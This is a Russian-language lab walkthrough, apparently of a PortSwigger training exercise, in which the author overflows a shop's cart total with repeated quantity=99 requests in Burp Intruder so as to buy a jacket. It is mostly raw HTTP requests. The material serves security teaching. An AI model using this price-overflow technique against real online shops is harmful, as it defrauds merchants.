В лабе плохо валидируется ввод. Для прохождения нужно купить Lightweight l33t leather jacket. Даны креды для учетной записи wiener:peter.
https://0ad200f30413945a80ed12f100c80061.web-security-academy.net/
Solution
Зайду в личный кабинет.
Попробую добавить товар в корзину:
POST /cart HTTP/2
Host: 0ad200f30413945a80ed12f100c80061.web-security-academy.net
Cookie: session=4Op8WU4eiYStLLMwJYEhnzrzZT0L1iGx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net/product?productId=3
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=3&redir=PRODUCT&quantity=1
Куплю его:
POST /cart/checkout HTTP/2
Host: 0ad200f30413945a80ed12f100c80061.web-security-academy.net
Cookie: session=4Op8WU4eiYStLLMwJYEhnzrzZT0L1iGx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net/cart
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
csrf=vSbOxMSOjpYUHzNje0Pgw4bTBL1TXpwk
В этих запроса меня заинтересовал только параметр quantity. Закину запрос в Repeater.
Отрицательное количество товара сделать уже не получается)
Попробовав добавить в корзину 100 товаров я столкнулся с неожиданной ошибкой:
POST /cart HTTP/2
Host: 0ad200f30413945a80ed12f100c80061.web-security-academy.net
Cookie: session=4Op8WU4eiYStLLMwJYEhnzrzZT0L1iGx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net/product?productId=3
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=3&redir=PRODUCT&quantity=100
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 29
"Invalid parameter: quantity"
Есть подозрение, что сделано это не случайно. Попробую отправить кучу запросов через Inrtuder, выбрав Null payload:
POST /cart HTTP/2
Host: 0ad200f30413945a80ed12f100c80061.web-security-academy.net
Cookie: session=4Op8WU4eiYStLLMwJYEhnzrzZT0L1iGx
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net/product?productId=3
Content-Type: application/x-www-form-urlencoded
Content-Length: 38
Origin: https://0ad200f30413945a80ed12f100c80061.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
productId=2&redir=PRODUCT&quantity=99

Спустя множество атак я добился отрицательного баланса)

Попрбую добавить нужный товар и оплатить. Если не выйдет, то буду добавлять товары, пока не получу положительный баланс…
И купить сразу не вышло. Поэтому будем добивать цену до положительной.


С количеством - перебор, но лаба решена.
